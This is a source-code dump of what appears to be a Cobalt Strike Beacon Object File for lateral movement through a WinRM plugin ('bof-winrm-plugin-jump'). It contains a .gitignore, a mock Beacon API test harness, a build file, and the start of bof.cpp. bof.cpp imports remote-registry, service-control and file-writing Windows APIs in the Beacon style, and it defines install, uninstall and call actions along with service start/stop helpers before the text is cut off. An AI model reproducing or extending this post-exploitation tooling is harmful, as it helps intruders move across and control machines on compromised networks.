| *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd 364 | 365 | 366 | # mine 367 | systems.txt -------------------------------------------------------------------------------- /bof-winrm-plugin-jump/base/mock.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "mock.h" 11 | #include "..\beacon_user_data.h" 12 | 13 | extern "C" { 14 | #ifdef _DEBUG 15 | #undef DECLSPEC_IMPORT 16 | #define DECLSPEC_IMPORT 17 | #endif 18 | #include "..\beacon.h" 19 | } 20 | 21 | namespace bof { 22 | namespace utils { 23 | template 24 | T swapEndianness(T value) { 25 | char *ptr = reinterpret_cast(&value); 26 | std::reverse(ptr, ptr + sizeof(T)); 27 | return value; 28 | } 29 | 30 | template 31 | std::vector toBytes(T input) { 32 | char *ptr = reinterpret_cast(&input); 33 | return std::vector(ptr, ptr + sizeof(T)); 34 | } 35 | 36 | const char* typeToStr(int callbackType) { 37 | switch (callbackType) { 38 | case CALLBACK_OUTPUT: return "CALLBACK_OUTPUT"; 39 | case CALLBACK_OUTPUT_OEM: return "CALLBACK_OUTPUT_OEM"; 40 | case CALLBACK_ERROR: return "CALLBACK_ERROR"; 41 | case CALLBACK_OUTPUT_UTF8: return "CALLBACK_OUTPUT_UTF8"; 42 | default: return "CALLBACK_UNKOWN"; 43 | } 44 | } 45 | } 46 | 47 | namespace mock { 48 | char *BofData::get() { 49 | return size() > 0 ? reinterpret_cast(&data[0]) : nullptr; 50 | } 51 | 52 | int BofData::size() { 53 | return data.size(); 54 | } 55 | 56 | void BofData::addData(const char *buf, std::size_t len) { 57 | std::vector bytes; 58 | bytes.assign(buf, buf + len); 59 | insert(static_cast(len)); 60 | append(bytes); 61 | } 62 | 63 | void BofData::append(const std::vector &data) { 64 | this->data.insert(std::end(this->data), std::begin(data), std::end(data)); 65 | } 66 | 67 | void BofData::insert(int v) { 68 | append(bof::utils::toBytes(bof::utils::swapEndianness(v))); 69 | } 70 | 71 | void BofData::insert(short v) { 72 | append(bof::utils::toBytes(bof::utils::swapEndianness(v))); 73 | } 74 | 75 | void BofData::insert(unsigned int v) { 76 | insert(static_cast(v)); 77 | } 78 | 79 | void BofData::insert(unsigned short v) { 80 | insert(static_cast(v)); 81 | } 82 | 83 | void BofData::insert(const char *v) { 84 | addData(v, std::strlen(v) + 1); 85 | } 86 | 87 | void BofData::insert(const wchar_t *v) { 88 | addData((const char *)v, (std::wcslen(v) + 1) * sizeof(wchar_t)); 89 | } 90 | 91 | void BofData::insert(const std::vector& data) { 92 | pack(data.size()); 93 | append(data); 94 | } 95 | } 96 | 97 | namespace output { 98 | std::vector outputs; 99 | 100 | void addEntry(int type, const char* data, int len) { 101 | OutputEntry output = { 102 | type, 103 | std::string(data, data + len) 104 | }; 105 | outputs.push_back(output); 106 | } 107 | 108 | const std::vector& getOutputs() { 109 | return outputs; 110 | } 111 | 112 | void reset() { 113 | outputs.clear(); 114 | } 115 | 116 | void PrintTo(const OutputEntry& o, std::ostream* os) { 117 | *os << "{ callbackType: " << bof::utils::typeToStr(o.callbackType) << ", output: " << o.output << " }"; 118 | } 119 | } 120 | 121 | namespace valuestore { 122 | std::map values; 123 | 124 | void reset() { 125 | values.clear(); 126 | } 127 | } 128 | 129 | namespace bud { 130 | char custom[BEACON_USER_DATA_CUSTOM_SIZE] = { 0 }; 131 | 132 | void reset() { 133 | std::memset(custom, 0, BEACON_USER_DATA_CUSTOM_SIZE); 134 | } 135 | 136 | void set(const char* data) { 137 | if (data) { 138 | std::memcpy(custom, data, BEACON_USER_DATA_CUSTOM_SIZE); 139 | } 140 | } 141 | } 142 | } 143 | 144 | extern "C" 145 | { 146 | // Print API 147 | void BeaconPrintf(int type, char *fmt, ...) { 148 | printf("[Output Callback: %s (0x%X)]\n", bof::utils::typeToStr(type), type); 149 | va_list args; 150 | va_start(args, fmt); 151 | int size = vsnprintf(nullptr, 0, fmt, args); 152 | if (size >= 0) { 153 | char* buffer = new char[size + 1]; 154 | vsnprintf(buffer, size + 1, fmt, args); 155 | bof::output::addEntry(type, buffer, size); 156 | delete[] buffer; 157 | } 158 | vprintf(fmt, args); 159 | printf("\n"); 160 | va_end(args); 161 | } 162 | 163 | void BeaconOutput(int type, char *data, int len) { 164 | bof::output::addEntry(type, data, len); 165 | printf("[Output Callback: %s (0x%X)]\n%.*s", bof::utils::typeToStr(type), type, len, data); 166 | } 167 | 168 | // Parser API 169 | void BeaconDataParse(datap *parser, char *buffer, int size) { 170 | parser->buffer = buffer; 171 | parser->original = buffer; 172 | parser->size = size; 173 | parser->length = size; 174 | } 175 | 176 | int BeaconDataInt(datap *parser) { 177 | int value = *(int *)(parser->buffer); 178 | parser->buffer += sizeof(int); 179 | parser->length -= sizeof(int); 180 | return bof::utils::swapEndianness(value); 181 | } 182 | 183 | short BeaconDataShort(datap *parser) { 184 | short value = *(short *)(parser->buffer); 185 | parser->buffer += sizeof(short); 186 | parser->length -= sizeof(short); 187 | return bof::utils::swapEndianness(value); 188 | } 189 | 190 | int BeaconDataLength(datap *parser) { 191 | return parser->length; 192 | } 193 | 194 | char *BeaconDataExtract(datap *parser, int *size) { 195 | int size_im = BeaconDataInt(parser); 196 | char *buff = parser->buffer; 197 | parser->buffer += size_im; 198 | if (size) 199 | { 200 | *size = size_im; 201 | } 202 | return buff; 203 | } 204 | 205 | // Format API 206 | void BeaconFormatAlloc(formatp *format, int maxsz) { 207 | format->original = new char[maxsz]; 208 | format->buffer = format->original; 209 | format->length = maxsz; 210 | format->size = maxsz; 211 | } 212 | 213 | void BeaconFormatReset(formatp *format) { 214 | format->buffer = format->original; 215 | format->length = format->size; 216 | } 217 | 218 | void BeaconFormatFree(formatp *format) { 219 | delete[] format->original; 220 | } 221 | 222 | void BeaconFormatAppend(formatp *format, char *text, int len) { 223 | memcpy(format->buffer, text, len); 224 | format->buffer += len; 225 | format->length -= len; 226 | } 227 | 228 | void BeaconFormatPrintf(formatp *format, char *fmt, ...) { 229 | va_list args; 230 | va_start(args, fmt); 231 | int len = vsprintf_s(format->buffer, format->length, fmt, args); 232 | format->buffer += len; 233 | format->length -= len; 234 | va_end(args); 235 | } 236 | 237 | char *BeaconFormatToString(formatp *format, int *size) { 238 | if (size) 239 | { 240 | *size = format->size - format->length; 241 | } 242 | return format->original; 243 | } 244 | 245 | void BeaconFormatInt(formatp *format, int value) { 246 | value = bof::utils::swapEndianness(value); 247 | BeaconFormatAppend(format, (char *)&value, 4); 248 | } 249 | 250 | // Internal API 251 | BOOL BeaconUseToken(HANDLE token) { 252 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 253 | return TRUE; 254 | } 255 | 256 | void BeaconRevertToken() { 257 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 258 | } 259 | 260 | BOOL BeaconIsAdmin() { 261 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 262 | return FALSE; 263 | } 264 | 265 | void BeaconGetSpawnTo(BOOL x86, char *buffer, int length) { 266 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 267 | } 268 | 269 | void BeaconInjectProcess(HANDLE hProc, int pid, char *payload, 270 | int p_len, int p_offset, char *arg, 271 | int a_len) 272 | { 273 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 274 | } 275 | 276 | void BeaconInjectTemporaryProcess(PROCESS_INFORMATION *pInfo, 277 | char *payload, int p_len, 278 | int p_offset, char *arg, 279 | int a_len) 280 | { 281 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 282 | } 283 | 284 | void BeaconCleanupProcess(PROCESS_INFORMATION *pInfo) { 285 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 286 | } 287 | 288 | BOOL toWideChar(char *src, wchar_t *dst, int max) { 289 | std::string str = src; 290 | std::wstring wstr(str.begin(), str.end()); 291 | 292 | size_t bytes = min(wstr.length() * sizeof(wchar_t), max); 293 | std::memcpy(dst, wstr.c_str(), bytes); 294 | return TRUE; 295 | } 296 | 297 | void BeaconInformation(BEACON_INFO* info) { 298 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 299 | } 300 | 301 | BOOL BeaconAddValue(const char* key, void* ptr) { 302 | auto item = bof::valuestore::values.find(std::string(key)); 303 | if (ptr && item == bof::valuestore::values.end()) { 304 | bof::valuestore::values[std::string(key)] = ptr; 305 | return TRUE; 306 | } 307 | return FALSE; 308 | } 309 | 310 | void* BeaconGetValue(const char* key) { 311 | auto item = bof::valuestore::values.find(std::string(key)); 312 | if (item != bof::valuestore::values.end()) { 313 | return item->second; 314 | } 315 | return NULL; 316 | } 317 | 318 | BOOL BeaconRemoveValue(const char* key) { 319 | auto item = bof::valuestore::values.find(std::string(key)); 320 | if (item != bof::valuestore::values.end()) { 321 | bof::valuestore::values.erase(item); 322 | return TRUE; 323 | } 324 | return FALSE; 325 | } 326 | 327 | PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index) { 328 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 329 | return NULL; 330 | } 331 | 332 | void BeaconDataStoreProtectItem(size_t index) { 333 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 334 | } 335 | 336 | void BeaconDataStoreUnprotectItem(size_t index) { 337 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 338 | } 339 | 340 | size_t BeaconDataStoreMaxEntries() { 341 | std::cerr << "Not implemented: " << __FUNCTION__ << std::endl; 342 | return 0; 343 | } 344 | 345 | char* BeaconGetCustomUserData() { 346 | return bof::bud::custom; 347 | } 348 | } 349 | -------------------------------------------------------------------------------- /bof-winrm-plugin-jump/bof-winrm-plugin-jump.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | UnitTest 22 | Win32 23 | 24 | 25 | UnitTest 26 | x64 27 | 28 | 29 | 30 | 16.0 31 | Win32Proj 32 | {a47530c5-2cd0-4fb5-9a03-071c538c45be} 33 | bof_winrm_plugin_jump 34 | 10.0 35 | 36 | 37 | 38 | Makefile 39 | true 40 | v143 41 | Unicode 42 | Debug\bof.exe 43 | WindowsLocalDebugger 44 | 45 | 46 | Application 47 | true 48 | v143 49 | Unicode 50 | 51 | 52 | Makefile 53 | false 54 | v143 55 | true 56 | Unicode 57 | 58 | 59 | Makefile 60 | true 61 | v143 62 | Unicode 63 | x64\Debug\bof.exe 64 | WindowsLocalDebugger 65 | 66 | 67 | Application 68 | true 69 | v143 70 | Unicode 71 | 72 | 73 | Makefile 74 | false 75 | v143 76 | true 77 | Unicode 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | nmake all 105 | nmake /B all 106 | nmake clean 107 | 108 | 109 | nmake all 110 | nmake /B all 111 | nmake clean 112 | 113 | 114 | nmake all-debug 115 | nmake /B all-debug 116 | nmake clean 117 | 118 | 119 | nmake all-debug 120 | nmake /B all-debug 121 | nmake clean 122 | 123 | 124 | nmake all-debug 125 | nmake /B all-debug 126 | nmake clean 127 | $(MSBuildProjectDirectory)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\build\native\include;$(IncludePath) 128 | 129 | 130 | nmake all-debug 131 | nmake /B all-debug 132 | nmake clean 133 | 134 | 135 | 136 | Level3 137 | true 138 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 139 | false 140 | stdcpp17 141 | 142 | 143 | Console 144 | true 145 | 146 | 147 | 148 | 149 | Level3 150 | true 151 | WIN32;_DEBUG;_CONSOLE;_GTEST;%(PreprocessorDefinitions) 152 | false 153 | stdcpp17 154 | MultiThreadedDebug 155 | $(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\build\native\include;%(AdditionalIncludeDirectories) 156 | 157 | 158 | Console 159 | true 160 | $(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtest_maind.lib;$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtestd.lib;%(AdditionalDependencies) 161 | 162 | 163 | 164 | 165 | Level3 166 | true 167 | true 168 | true 169 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 170 | false 171 | stdcpp17 172 | 173 | 174 | Console 175 | true 176 | true 177 | true 178 | 179 | 180 | 181 | 182 | Level3 183 | true 184 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 185 | false 186 | stdcpp17 187 | 188 | 189 | Console 190 | true 191 | 192 | 193 | 194 | 195 | Level3 196 | true 197 | _DEBUG;_CONSOLE;_GTEST;%(PreprocessorDefinitions) 198 | false 199 | stdcpp17 200 | $(SolutionDir)packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\build\native\include;%(AdditionalIncludeDirectories) 201 | MultiThreadedDebug 202 | 203 | 204 | Console 205 | true 206 | $(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtest_maind.lib;$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtestd.lib;%(AdditionalDependencies) 207 | 208 | 209 | 210 | 211 | Level3 212 | true 213 | true 214 | true 215 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 216 | false 217 | stdcpp17 218 | 219 | 220 | Console 221 | true 222 | true 223 | true 224 | 225 | 226 | 227 | 228 | 229 | C:\Users\User\source\repos\BOF-Template\x64\Debug\bof.exe 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | -------------------------------------------------------------------------------- /bof-winrm-plugin-jump/bof.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "base\helpers.h" 4 | 5 | #ifdef _DEBUG 6 | #include "base\mock.h" 7 | #undef DECLSPEC_IMPORT 8 | #define DECLSPEC_IMPORT 9 | #endif 10 | 11 | 12 | extern "C" { 13 | #include "beacon.h" 14 | 15 | #ifndef _DEBUG 16 | WINBASEAPI VOID WINAPI KERNEL32$OutputDebugStringA(LPCSTR lpOutputString); 17 | #define OutputDebugStringA KERNEL32$OutputDebugStringA 18 | WINBASEAPI INT WINAPI MSVCRT$vsnprintf(PCHAR d, size_t n, PCHAR format, va_list arg); 19 | #define vsnprintf MSVCRT$vsnprintf 20 | WINBASEAPI INT WINAPI MSVCRT$swprintf_s(wchar_t* _Dst, size_t _SizeInWords, const wchar_t* _Format, ...); 21 | #define swprintf_s MSVCRT$swprintf_s 22 | WINADVAPI BOOL WINAPI ADVAPI32$QueryServiceStatusEx(SC_HANDLE hService, SC_STATUS_TYPE InfoLevel, LPBYTE lpBuffer, DWORD cbBufSize, LPDWORD pcbBytesNeeded); 23 | #define QueryServiceStatusEx ADVAPI32$QueryServiceStatusEx 24 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID); 25 | #define GetLastError KERNEL32$GetLastError 26 | WINADVAPI BOOL WINAPI ADVAPI32$ControlService(SC_HANDLE hService, DWORD dwControl, LPSERVICE_STATUS lpServiceStatus); 27 | #define ControlService ADVAPI32$ControlService 28 | WINBASEAPI VOID WINAPI KERNEL32$Sleep(DWORD dwMilliseconds); 29 | #define Sleep KERNEL32$Sleep 30 | WINADVAPI BOOL WINAPI ADVAPI32$StartServiceW(SC_HANDLE, DWORD, LPCWSTR*); 31 | #define StartServiceW ADVAPI32$StartServiceW 32 | WINADVAPI BOOL WINAPI ADVAPI32$QueryServiceConfigW(SC_HANDLE, LPQUERY_SERVICE_CONFIGW, DWORD, PDWORD); 33 | #define QueryServiceConfigW ADVAPI32$QueryServiceConfigW 34 | WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); 35 | #define GetProcessHeap KERNEL32$GetProcessHeap 36 | WINBASEAPI void* WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 37 | #define HeapAlloc KERNEL32$HeapAlloc 38 | WINADVAPI BOOL WINAPI ADVAPI32$ChangeServiceConfigW(SC_HANDLE, DWORD, DWORD, DWORD, LPCWSTR, LPCWSTR, LPDWORD, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR); 39 | #define ChangeServiceConfigW ADVAPI32$ChangeServiceConfigW 40 | WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID); 41 | #define $HeapFree KERNEL32$HeapFree 42 | WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenSCManagerW(LPCWSTR lpMachineName, LPCWSTR lpDatabaseName, DWORD dwDesiredAccess); 43 | #define OpenSCManagerW ADVAPI32$OpenSCManagerW 44 | WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenServiceW(SC_HANDLE, LPCWSTR, DWORD); 45 | #define OpenServiceW ADVAPI32$OpenServiceW 46 | WINADVAPI LONG WINAPI ADVAPI32$RegConnectRegistryW(LPCWSTR, HKEY, PHKEY); 47 | #define RegConnectRegistryW ADVAPI32$RegConnectRegistryW 48 | WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyExW(HKEY, LPCWSTR, DWORD, LPWSTR, DWORD, REGSAM, LPSECURITY_ATTRIBUTES,PHKEY, PDWORD); 49 | #define RegCreateKeyExW ADVAPI32$RegCreateKeyExW 50 | WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t* _Str); 51 | #define wcslen MSVCRT$wcslen 52 | WINADVAPI LONG WINAPI ADVAPI32$RegSetValueExW(HKEY, LPCWSTR, DWORD, DWORD, const BYTE*, DWORD); 53 | #define RegSetValueExW ADVAPI32$RegSetValueExW 54 | WINADVAPI BOOL WINAPI ADVAPI32$CloseServiceHandle(SC_HANDLE hSCObject); 55 | #define CloseServiceHandle ADVAPI32$CloseServiceHandle 56 | WINADVAPI LONG WINAPI ADVAPI32$RegCloseKey(HKEY hKey); 57 | #define RegCloseKey ADVAPI32$RegCloseKey 58 | WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExW(HKEY hKey, LPCWSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult); 59 | #define RegOpenKeyExW ADVAPI32$RegOpenKeyExW 60 | WINADVAPI LONG WINAPI ADVAPI32$RegDeleteTreeW(HKEY base, LPCWSTR subkey); 61 | #define RegDeleteTreeW ADVAPI32$RegDeleteTreeW 62 | WINBASEAPI BOOL WINAPI KERNEL32$DeleteFileW(LPCWSTR lpFileName); 63 | #define DeleteFileW KERNEL32$DeleteFileW 64 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit); 65 | #define CoInitializeEx OLE32$CoInitializeEx 66 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv); 67 | #define CoCreateInstance OLE32$CoCreateInstance 68 | DECLSPEC_IMPORT BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR*); 69 | #define SysAllocString OLEAUT32$SysAllocString 70 | DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantInit(VARIANTARG* pvarg); 71 | #define VariantInit OLEAUT32$VariantInit 72 | DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantClear(VARIANTARG* pvarg); 73 | #define VariantClear OLEAUT32$VariantClear 74 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoUninitialize(void); 75 | #define CoUninitialize OLE32$CoUninitialize 76 | WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID); 77 | #define HeapFree KERNEL32$HeapFree 78 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString(LPCOLESTR lpsz, LPCLSID pclsid); 79 | #define CLSIDFromString OLE32$CLSIDFromString 80 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 81 | #define CreateFileW KERNEL32$CreateFileW 82 | WINBASEAPI size_t WINAPI MSVCRT$strlen(const char* _Str); 83 | #define strlen MSVCRT$strlen 84 | WINBASEAPI BOOL WINAPI KERNEL32$WriteFile(HANDLE, PVOID, DWORD, PDWORD, LPOVERLAPPED); 85 | #define WriteFile KERNEL32$WriteFile 86 | WINBASEAPI wchar_t* WINAPI MSVCRT$wcscmp(const wchar_t* _lhs, const wchar_t* _rhs); 87 | #define wcscmp MSVCRT$wcscmp 88 | WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject); 89 | #define CloseHandle KERNEL32$CloseHandle 90 | #endif 91 | 92 | 93 | #define DEBUG(...) debugOut(__VA_ARGS__) 94 | #define ACTION_INSTALL L"install" 95 | #define ACTION_UNINSTALL L"uninstall" 96 | #define ACTION_CALL L"call" 97 | 98 | #define PLUGIN_NAME L"another-winrm-plugin" 99 | #define PLUGIN_TEMP_NAME L"temp-another-winrm-plugin" 100 | 101 | 102 | typedef struct statusRRegistry { 103 | DWORD dwCurrentState; 104 | DWORD dwStartType; 105 | } statusRRegistry, * pStatusRRegistry; 106 | 107 | 108 | VOID debugOut(const PCHAR format, ...) { 109 | #ifdef _DEBUG 110 | CHAR dbg_out[MAX_PATH]; 111 | va_list args; 112 | va_start(args, format); 113 | vsnprintf(dbg_out, MAX_PATH, format, args); 114 | BeaconPrintf(CALLBACK_OUTPUT, dbg_out); 115 | OutputDebugStringA(dbg_out); 116 | va_end(args); 117 | #endif 118 | } 119 | 120 | BOOL bofStopService(SC_HANDLE hService) { 121 | SERVICE_STATUS_PROCESS serviceStatus; 122 | DWORD bytesNeeded; 123 | 124 | if (!QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, 125 | (LPBYTE)&serviceStatus, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) { 126 | BeaconPrintf(CALLBACK_ERROR, "error QueryServiceStatusEx: %ld\n", GetLastError()); 127 | return false; 128 | } 129 | DEBUG("Success QueryServiceStatusEx\n"); 130 | 131 | if (serviceStatus.dwCurrentState == SERVICE_STOPPED) { 132 | BeaconPrintf(CALLBACK_ERROR, "Service already stopped"); 133 | return true; 134 | } 135 | 136 | if (!ControlService(hService, SERVICE_CONTROL_STOP, (LPSERVICE_STATUS)&serviceStatus)) { 137 | BeaconPrintf(CALLBACK_ERROR, "error ControlService: %ld\n", GetLastError()); 138 | return false; 139 | } 140 | DEBUG("Success ControlService\n"); 141 | 142 | while (serviceStatus.dwCurrentState != SERVICE_STOPPED) { 143 | Sleep(1000); // Wait a bit before checking again 144 | if (!QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, 145 | (LPBYTE)&serviceStatus, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) { 146 | BeaconPrintf(CALLBACK_ERROR, "error QueryServiceStatusEx: %ld\n", GetLastError()); 147 | return false; 148 | } 149 | } 150 | DEBUG("Service has stopped\n"); 151 | 152 | return true; 153 | } 154 | 155 | BOOL bofStartService(SC_HANDLE hService) { 156 | if (!StartServiceW(hService, 0, NULL)) { 157 | DWORD error = GetLastError(); 158 | if (error == ERROR_SERVICE_ALREADY_RUNNING) { 159 | BeaconPrintf(CALLBACK_ERROR, "Service already running, that is a problem indeed."); 160 | return TRUE; 161 | } 162 | else { 163 | BeaconPrintf(CALLBACK_ERROR, "error StartServiceW: %ld\n", GetLastError()); 164 | return FALSE; 165 | } 166 | } 167 | DEBUG("Success StartServiceW\n"); 168 | 169 | SERVICE_STATUS_PROCESS serviceStatus; 170 | DWORD bytesNeeded; 171 | while (QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, 172 | (LPBYTE)&serviceStatus, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) { 173 | if (serviceStatus.dwCurrentState == SERVICE_RUNNING) { 174 | DEBUG("Service has started\n"); 175 | return TRUE; 176 | } 177 | Sleep(1000); // Wait a bit before checking again 178 | } 179 | BeaconPrintf(CALLBACK_ERROR, "error QueryServiceStatusEx: %ld\n", GetLastError()); 180 | 181 | return FALSE; 182 | } 183 | 184 | BOOL bofStartRRegistry(SC_HANDLE hSvcRRegistry, pStatusRRegistry status) { 185 | // Vars 186 | LPQUERY_SERVICE_CONFIGW svcConfigRRegistry = { 0 }; 187 | BOOL success = TRUE; 188 | 189 | SERVICE_STATUS_PROCESS svcStatusRRegistry; 190 | DWORD bytesNeeded; 191 | bool isRunning = false; 192 | if (!QueryServiceStatusEx( 193 | hSvcRRegistry, 194 | SC_STATUS_PROCESS_INFO, 195 | (LPBYTE)&svcStatusRRegistry, 196 | sizeof(SERVICE_STATUS_PROCESS), 197 | &bytesNeeded)) 198 | { 199 | BeaconPrintf(CALLBACK_ERROR, "error QueryServiceStatusEx: 